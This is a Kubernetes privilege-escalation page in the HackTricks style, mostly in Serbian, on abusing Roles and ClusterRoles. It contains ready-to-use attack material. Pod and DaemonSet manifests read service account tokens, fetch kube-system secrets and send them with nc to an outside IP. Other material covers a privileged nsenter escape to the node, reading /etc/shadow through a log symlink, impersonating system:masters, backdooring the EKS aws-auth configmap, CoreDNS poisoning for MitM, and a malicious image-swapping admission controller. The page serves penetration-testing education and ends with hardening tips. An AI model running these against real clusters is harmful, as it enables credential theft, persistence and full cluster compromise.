Abusing Roles/ClusterRoles in Kubernetes
Reading time: 26 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ovde možete pronaći neke potencijalno opasne konfiguracije Roles i ClusterRoles.
Zapamtite da možete dobiti sve podržane resurse sa kubectl api-resources
Privilege Escalation
Ovo se odnosi na veštinu dobijanja pristupa različitom principalu unutar klastera sa različitim privilegijama (unutar kubernetes klastera ili na eksternim cloud-ovima) od onih koje već imate, u Kubernetes-u postoje osnovno 4 glavne tehnike za eskalaciju privilegija:
- Mogućnost da imituješ druge korisnike/grupe/SAs sa boljim privilegijama unutar kubernetes klastera ili na eksternim cloud-ovima
- Mogućnost da kreiraš/patch-uješ/izvršavaš podove gde možeš pronaći ili priključiti SAs sa boljim privilegijama unutar kubernetes klastera ili na eksternim cloud-ovima
- Mogućnost da čitaš tajne jer su SAs tokeni pohranjeni kao tajne
- Mogućnost da pobegneš na čvor iz kontejnera, gde možeš ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, kredencijale čvora i dozvole čvora unutar clouda u kojem se izvršava (ako ih ima)
- Peta tehnika koja zaslužuje pominjanje je sposobnost da pokreneš port-forward u podu, jer možeš imati pristup zanimljivim resursima unutar tog poda.
Access Any Resource or Verb (Wildcard)
wildcard (*) daje dozvolu za bilo koji resurs sa bilo kojim glagolom. Koriste ga administratori. Unutar ClusterRole to znači da bi napadač mogao da zloupotrebi bilo koji namespace u klasteru
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Pristup bilo kojem resursu sa specifičnom glagolskom radnjom
U RBAC-u, određene dozvole predstavljaju značajne rizike:
create
: Daje mogućnost kreiranja bilo kojeg klasterskog resursa, što može dovesti do eskalacije privilegija.list
: Omogućava listanje svih resursa, potencijalno otkrivajući osetljive podatke.get
: Dozvoljava pristup tajnama iz servisnih naloga, što predstavlja bezbednosnu pretnju.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
Napadač sa dozvolama za kreiranje poda može da prikači privilegovani Service Account u pod i ukrade token kako bi se pretvarao da je taj Service Account. Efektivno povećavajući privilegije.
Primer poda koji će ukrasti token bootstrap-signer
service account-a i poslati ga napadaču:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Create & Escape
Sledeće ukazuje na sve privilegije koje kontejner može imati:
- Privilegovan pristup (onemogućavanje zaštita i postavljanje sposobnosti)
- Onemogućavanje namespaces hostIPC i hostPid koji mogu pomoći u eskalaciji privilegija
- Onemogućavanje hostNetwork namespace-a, dajući pristup za krađu privilegija čvora u oblaku i bolji pristup mrežama
- Montiranje hostova / unutar kontejnera
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Kreirajte pod sa:
kubectl --token $token create -f mount_root.yaml
Jednolinijska komanda iz ovog tvita i sa nekim dodacima:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Sada kada možete da pobegnete na čvor, proverite tehnike post-ekspolatacije u:
Stealth
Verovatno želite da budete diskretniji, na sledećim stranicama možete videti šta biste mogli da pristupite ako kreirate pod omogućavajući samo neka od pomenutih privilegija u prethodnom šablonu:
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
Možete pronaći primer kako da kreirate/iskoristite prethodne privilegovane konfiguracije podova u https://github.com/BishopFox/badPods
Pod Create - Move to cloud
Ako možete da kreirate pod (i opcionalno service account) možda ćete moći da dobijete privilegije u cloud okruženju dodeljujući cloud role podu ili service account-u i zatim mu pristupajući.
Štaviše, ako možete da kreirate pod sa host network namespace možete ukrasti IAM ulogu node instance.
Za više informacija proverite:
Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs
Moguće je iskoristiti ove dozvole da kreirate novi pod i uspostavite privilegije kao u prethodnom primeru.
Sledeći yaml kreira daemonset i eksfiltrira token SA unutar poda:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec
je resurs u kubernetes-u koji se koristi za izvršavanje komandi u shell-u unutar poda. Ovo omogućava izvršavanje komandi unutar kontejnera ili dobijanje shell-a unutar.
Stoga, moguće je ući u pod i ukrasti token SA, ili ući u privilegovani pod, pobjeći na čvor i ukrasti sve tokene podova na čvoru i (zlo)upotrebiti čvor:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
note
Po defaultu, komanda se izvršava u prvom kontejneru poda. Dobijte sve podove u kontejneru sa kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'
i zatim naznačite kontejner u kojem želite da ga izvršite sa kubectl exec -it <pod_name> -c <container_name> -- sh
Ako je u pitanju distroless kontejner, možete pokušati da koristite shell builtins da dobijete informacije o kontejnerima ili da otpremite svoje alate poput busybox koristeći: kubectl cp </path/local/file> <podname>:</path/in/container>
.
port-forward
Ova dozvola omogućava prosleđivanje jednog lokalnog porta na jedan port u specificiranom podu. Ovo je namenjeno da se olakša debagovanje aplikacija koje se izvršavaju unutar poda, ali napadač bi to mogao zloupotrebiti da dobije pristup zanimljivim (kao što su DB-ovi) ili ranjivim aplikacijama (web?) unutar poda:
kubectl port-forward pod/mypod 5000:5000
Hosts Writable /var/log/ Escape
As indicated in this research, if you can access or create a pod with the hosts /var/log/
directory mounted on it, you can escape from the container.
This is basically because the when the Kube-API tries to get the logs of a container (using kubectl logs <pod>
), it requests the 0.log
file of the pod using the /logs/
endpoint of the Kubelet service.
The Kubelet service exposes the /logs/
endpoint which is just basically exposing the /var/log
filesystem of the container.
Therefore, an attacker with access to write in the /var/log/ folder of the container could abuse this behaviours in 2 ways:
- Modifying the
0.log
file of its container (usually located in/var/logs/pods/namespace_pod_uid/container/0.log
) to be a symlink pointing to/etc/shadow
for example. Then, you will be able to exfiltrate hosts shadow file doing:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Ako napadač kontroliše bilo koji princip sa dozvolama za čitanje
nodes/log
, može jednostavno da kreira symlink u/host-mounted/var/log/sym
ka/
i kada pristupihttps://<gateway>:10250/logs/sym/
prikazaće korenski fajl sistem hosta (promena symlinka može omogućiti pristup fajlovima).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Laboratorija i automatizovani exploit mogu se naći na https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Obilaženje readOnly zaštite
Ako imate sreće i visoko privilegisana sposobnost CAP_SYS_ADMIN
je dostupna, možete jednostavno ponovo montirati folder kao rw:
mount -o rw,remount /hostlogs/
Bypassing hostPath readOnly protection
Kao što je navedeno u ovoj studiji, moguće je zaobići zaštitu:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
Koji je bio zamišljen da spreči eskape poput prethodnih, tako što će umesto korišćenja hostPath montaže, koristiti PersistentVolume i PersistentVolumeClaim za montiranje foldera domaćina u kontejner sa pristupom za pisanje:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Imitiranje privilegovanih naloga
Sa privilegijom imitacije korisnika, napadač može imitirati privilegovan nalog.
Jednostavno koristite parametar --as=<username>
u kubectl
komandi da biste imitirali korisnika, ili --as-group=<group>
da biste imitirali grupu:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
Ili koristite REST API:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Listing Secrets
Dozvola da prikazuje tajne može omogućiti napadaču da zapravo pročita tajne pristupajući REST API kraju:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Kreiranje i Čitanje Tajni
Postoji posebna vrsta Kubernetes tajne tipa kubernetes.io/service-account-token koja čuva tokene servisnog naloga. Ako imate dozvole za kreiranje i čitanje tajni, i takođe znate ime servisnog naloga, možete kreirati tajnu na sledeći način i zatim ukrasti token servisnog naloga žrtve iz nje:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Primer iskorišćavanja:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Napomena da, ako vam je dozvoljeno da kreirate i čitate tajne u određenom namespace-u, žrtvinska serviceaccount takođe mora biti u tom istom namespace-u.
Čitanje tajne – brute-forcing token ID-ova
Dok napadač u posedu tokena sa pravima čitanja zahteva tačno ime tajne da bi je koristio, za razliku od šireg listing secrets privilegije, i dalje postoje ranjivosti. Podrazumevani service accounts u sistemu mogu se enumerisati, svaki povezan sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen nasumičnim alfanumeričkim tokenom od pet karaktera (izuzimajući određene karaktere) prema izvornom kodu.
Token se generiše iz ograničenog skupa od 27 karaktera (bcdfghjklmnpqrstvwxz2456789
), umesto iz celog alfanumeričkog opsega. Ova ograničenja smanjuju ukupan broj mogućih kombinacija na 14,348,907 (27^5). Kao rezultat, napadač bi mogao izvesti brute-force napad kako bi dedukovao token u roku od nekoliko sati, što potencijalno može dovesti do eskalacije privilegija pristupom osetljivim service accounts.
EncrpytionConfiguration u čistom tekstu
Moguće je pronaći ključeve u čistom tekstu za enkripciju podataka u mirovanju u ovoj vrsti objekta kao:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Certificate Signing Requests
Ako imate glagole create
u resursu certificatesigningrequests
(ili barem u certificatesigningrequests/nodeClient
). Možete create novi CeSR novog noda.
Prema dokumentaciji, moguće je automatski odobriti ove zahteve, tako da u tom slučaju ne trebaju vam dodatne dozvole. Ako ne, morali biste biti u mogućnosti da odobrite zahtev, što znači ažuriranje u certificatesigningrequests/approval
i approve
u signers
sa resourceName <signerNameDomain>/<signerNamePath>
ili <signerNameDomain>/*
Primer uloge sa svim potrebnim dozvolama je:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
Dakle, sa odobrenim novim node CSR-om, možete iskoristiti posebne dozvole nodova da ukradete tajne i povećate privilegije.
U ovom postu i ovom GKE K8s TLS Bootstrap konfiguracija je podešena sa automatskim potpisivanjem i koristi se za generisanje kredencijala novog K8s nod-a, a zatim se ti kredencijali koriste za povećanje privilegija ukradanjem tajni.
Ako imate pomenute privilegije, mogli biste uraditi istu stvar. Imajte na umu da prvi primer zaobilazi grešku koja sprečava novi nod da pristupi tajnama unutar kontejnera jer nod može pristupiti samo tajnama kontejnera koji su montirani na njemu.
Način da se to zaobiđe je jednostavno napraviti kredencijale nod-a za ime nod-a gde je kontejner sa zanimljivim tajnama montiran (ali samo proverite kako to uraditi u prvom postu):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
Principals koji mogu da modifikuju configmaps
u kube-system imenskom prostoru na EKS (moraju biti u AWS) klasterima mogu dobiti privilegije klaster admina prepisivanjem aws-auth configmap-a.
Potrebni glagoli su update
i patch
, ili create
ako configmap nije kreiran:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
warning
Možete koristiti aws-auth
za persistence davanje pristupa korisnicima iz drugih naloga.
Međutim, aws --profile other_account eks update-kubeconfig --name <cluster-name>
ne radi iz drugog naloga. Ali zapravo aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing
radi ako stavite ARN klastera umesto samo imena.
Da bi kubectl
radio, samo se pobrinite da konfigurišete kubeconfig žrtve i u aws exec argumentima dodajte --profile other_account_role
tako da kubectl koristi profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a.
CoreDNS config map
Ako imate dozvole da modifikujete coredns
configmap u kube-system
namespace-u, možete modifikovati adrese na koje će se domeni rešavati kako biste mogli da izvršite MitM napade za krađu osetljivih informacija ili injektovanje malicioznog sadržaja.
Glagoli koji su potrebni su update
i patch
nad coredns
configmap-om (ili svim config mapama).
Običan coredns fajl sadrži nešto poput ovoga:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
Napadač može preuzeti to pokretanjem kubectl get configmap coredns -n kube-system -o yaml
, izmeniti ga dodajući nešto poput rewrite name victim.com attacker.com
, tako da kada se pristupi victim.com
, zapravo se pristupa attacker.com
. Zatim se može primeniti pokretanjem kubectl apply -f poison_dns.yaml
.
Druga opcija je jednostavno izmeniti datoteku pokretanjem kubectl edit configmap coredns -n kube-system
i napraviti izmene.
Eskalacija u GKE
Postoje 2 načina za dodeljivanje K8s dozvola GCP principalima. U svakom slučaju, principal takođe treba dozvolu container.clusters.get
da bi mogao da prikupi akreditive za pristup klasteru, ili ćete morati da generišete svoj kubectl config fajl (pratite sledeći link).
warning
Kada se komunicira sa K8s API krajnjom tačkom, GCP auth token će biti poslat. Tada će GCP, preko K8s API krajnje tačke, prvo proveriti da li principal (prema emailu) ima bilo kakav pristup unutar klastera, zatim će proveriti da li ima bilo kakav pristup putem GCP IAM.
Ako je bilo koja od ovih tačna, biće mu odgovoreno. Ako nije, biće data greška koja sugeriše da se dozvole dodele putem GCP IAM.
Prva metoda je korišćenje GCP IAM, K8s dozvole imaju svoje ekvivalentne GCP IAM dozvole, i ako principal to ima, moći će da ih koristi.
Druga metoda je dodeljivanje K8s dozvola unutar klastera identifikovanjem korisnika prema njegovom emailu (uključujući GCP servisne naloge).
Kreiranje tokena za servisne naloge
Principali koji mogu kreirati TokenRequests (serviceaccounts/token
) kada komuniciraju sa K8s API krajnjom tačkom SAs (informacije iz ovde).
ephemeralcontainers
Principali koji mogu update
ili patch
pods/ephemeralcontainers
mogu dobiti izvršavanje koda na drugim podovima, i potencijalno izbeći na njihov čvor dodavanjem ephemeral kontejnera sa privilegovanim securityContext.
ValidatingWebhookConfigurations ili MutatingWebhookConfigurations
Principali sa bilo kojim od glagola create
, update
ili patch
nad validatingwebhookconfigurations
ili mutatingwebhookconfigurations
mogli bi biti u mogućnosti da kreiraju jednu od takvih webhookconfigurations kako bi mogli da escaliraju privilegije.
Za mutatingwebhookconfigurations
primer proverite ovu sekciju ovog posta.
Eskalirati
Kao što možete pročitati u sledećoj sekciji: Ugrađena prevencija eskalacije privilegija, principal ne može ažurirati niti kreirati uloge ili clusterrole bez da sam ima te nove dozvole. Osim ako ima glagol escalate
ili *
nad roles
ili clusterroles
i odgovarajuće opcije vezivanja.
Tada može ažurirati/kreati nove uloge, clusterrole sa boljim dozvolama od onih koje ima.
Nodes proxy
Principali sa pristupom nodes/proxy
podresursu mogu izvršavati kod na podovima putem Kubelet API (prema ovome). Više informacija o Kubelet autentifikaciji na ovoj stranici:
Kubelet Authentication & Authorization
Imate primer kako dobiti RCE razgovarajući autorizovano sa Kubelet API ovde.
Brisanje podova + neschedulabilni čvorovi
Principali koji mogu brisati podove (delete
glagol nad pods
resursom), ili izbacivati podove (create
glagol nad pods/eviction
resursom), ili menjati status podova (pristup pods/status
) i mogu učiniti druge čvorove neschedulabilnim (pristup nodes/status
) ili brisati čvorove (delete
glagol nad nodes
resursom) i imaju kontrolu nad podom, mogli bi ukrasti podove sa drugih čvorova tako da se izvršavaju na kompromitovanom čvoru i napadač može ukrasti tokene iz tih podova.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Status usluga (CVE-2020-8554)
Principali koji mogu modifikovati services/status
mogu postaviti polje status.loadBalancer.ingress.ip
da iskoriste neispravljeni CVE-2020-8554 i pokrenu MiTM napade protiv klastera. Većina mera za ublažavanje CVE-2020-8554 samo sprečava ExternalIP usluge (prema ovome).
Status čvorova i podova
Principali sa update
ili patch
dozvolama nad nodes/status
ili pods/status
, mogli bi modifikovati oznake kako bi uticali na ograničenja raspoređivanja.
Ugrađena prevencija eskalacije privilegija
Kubernetes ima ugrađeni mehanizam za sprečavanje eskalacije privilegija.
Ovaj sistem osigurava da korisnici ne mogu povećati svoje privilegije modifikovanjem uloga ili veza uloga. Sprovođenje ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC autorizator neaktivan.
Pravilo stipulira da korisnik može kreirati ili ažurirati ulogu samo ako poseduje sve dozvole koje uloga obuhvata. Štaviše, opseg postojećih dozvola korisnika mora se poklapati sa onim uloge koju pokušava da kreira ili modifikuje: ili na nivou klastera za ClusterRoles ili ograničeno na istu namespace (ili na nivou klastera) za Roles.
warning
Postoji izuzetak od prethodnog pravila. Ako neki principal ima glagol escalate
nad roles
ili clusterroles
, može povećati privilegije uloga i clusterroles čak i bez da ih sam poseduje.
Dobijanje i patch RoleBindings/ClusterRoleBindings
caution
Očigledno je da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/modifikovati rolebinding da biste sebi ili drugom SA dali neke privilegije ako ih već nemate.
Privilegija za kreiranje Rolebindings omogućava korisniku da veže uloge za servisni nalog. Ova privilegija može potencijalno dovesti do eskalacije privilegija jer omogućava korisniku da veže administratorske privilegije za kompromitovani servisni nalog.
Ostali napadi
Sidecar proxy aplikacija
Po defaultu, ne postoji nikakva enkripcija u komunikaciji između podova. Uzajamna autentifikacija, dvosmerna, pod do poda.
Kreiranje sidecar proxy aplikacije
Sidecar kontejner se sastoji samo od dodavanja drugog (ili više) kontejnera unutar poda.
Na primer, sledeće je deo konfiguracije poda sa 2 kontejnera:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
Na primer, da biste uneli backdoor u postojeći pod sa novim kontejnerom, možete jednostavno dodati novi kontejner u specifikaciju. Imajte na umu da možete dati više dozvola drugom kontejneru koje prvi neće imati.
Više informacija na: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Malicious Admission Controller
Admission controller presreće zahteve ka Kubernetes API serveru pre nego što dođe do trajanja objekta, ali nakon što je zahtev autentifikovan i autorizovan.
Ako napadač nekako uspe da ubaci Mutation Admission Controller, moći će da modifikuje već autentifikovane zahteve. Biće u mogućnosti da potencijalno izvrši privesc, i obično da se zadrži u klasteru.
Primer iz https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Proverite status da vidite da li je spremno:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
Zatim implementirajte novi pod:
kubectl run nginx --image nginx
kubectl get po -w
Kada vidite grešku ErrImagePull
, proverite ime slike pomoću jednog od upita:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
Kao što možete videti na gornjoj slici, pokušali smo da pokrenemo sliku nginx
, ali je konačno izvršena slika rewanthtammana/malicious-image
. Šta se upravo desilo!!?
Tehnički detalji
Skript ./deploy.sh
uspostavlja mutirajući webhook admission controller, koji modifikuje zahteve ka Kubernetes API-ju kako je navedeno u njegovim konfiguracionim linijama, utičući na posmatrane rezultate:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa rewanthtammana/malicious-image
.
OPA Gatekeeper zaobilaženje
Kubernetes OPA Gatekeeper bypass
Najbolje prakse
Onemogućavanje automount-a tokena servisnog naloga
- Podovi i servisni nalozi: Podovi po defaultu montiraju token servisnog naloga. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automount funkcije.
- Kako primeniti: Postavite
automountServiceAccountToken: false
u konfiguraciji servisnih naloga ili podova počevši od Kubernetes verzije 1.6.
Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings
- Selektivno uključivanje: Osigurajte da su samo neophodni korisnici uključeni u RoleBindings ili ClusterRoleBindings. Redovno vršite reviziju i uklanjajte irelevantne korisnike kako biste održali visoku sigurnost.
Uloge specifične za namespace umesto uloga na nivou klastera
- Uloge vs. ClusterRoles: Preferirajte korišćenje Uloga i RoleBindings za dozvole specifične za namespace umesto ClusterRoles i ClusterRoleBindings, koje se primenjuju na nivou klastera. Ovaj pristup nudi finiju kontrolu i ograničava opseg dozvola.
Koristite automatizovane alate
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions
